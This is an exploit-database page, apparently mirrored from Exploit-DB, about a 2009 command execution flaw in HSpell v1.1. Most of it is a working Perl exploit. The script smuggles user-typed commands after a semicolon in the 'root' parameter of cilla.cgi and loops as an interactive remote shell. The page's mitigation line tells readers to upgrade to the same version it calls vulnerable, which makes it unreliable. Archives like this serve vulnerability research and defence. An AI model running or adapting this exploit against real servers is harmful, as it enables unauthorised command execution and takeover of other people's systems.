header-logo
Suggest Exploit
vendor:
HSpell
by:
ZeN
7.5
CVSS
HIGH
Command Execution
78
CWE
Product Name: HSpell
Affected Version From: v1.1
Affected Version To: v1.1
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

HSpell v1.1 Command Execution Exploit

HSpell v1.1 is vulnerable to a command execution vulnerability. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable server. This exploit allows an attacker to execute arbitrary commands on the vulnerable server.

Mitigation:

Upgrade to the latest version of HSpell v1.1
Source

Exploit-DB raw data:

#!/usr/bin/perl
use IO::Socket;

print q{

HSpell v1.1 Command Execution Exploit

Theres a 1000 ways to improve this exploit,
but I really couldn't be fucked with it.

Made By ZeN
http://dusecurity.com/
http://darkcode.me/

};


$host = 'site.com';
$port = '80';
$path = '/cgi-bin/cilla.cgi';

ShellMe:

print "\nh4x0r~> ";
$cmd = <stdin>;
chop ($cmd);

$cmd =~ s/\ /+/g;


$header = "GET ".$path."?root=pwnt%3B+".$cmd."&binyan=%F7%EC HTTP/1.1\r\n";
$header = $header."Host: ".$host."\r\n";
$header = $header."User-Agent: DUSecurity Group\r\n";
$header = $header."Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header = $header."Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header = $header."Accept-Encoding: gzip,deflate\r\n";
$header = $header."Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$header = $header."Connection: close\r\n";
$header = $header."Cache-Control: max-age=0\r\n";
$header = $header."\r\n";


$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || print "[*] Error!\n";
print $get1 $header;
$get1->recv($buffer,50000);

$shell = substr($buffer, 1347);

print $shell;

goto ShellMe;

# milw0rm.com [2009-01-13]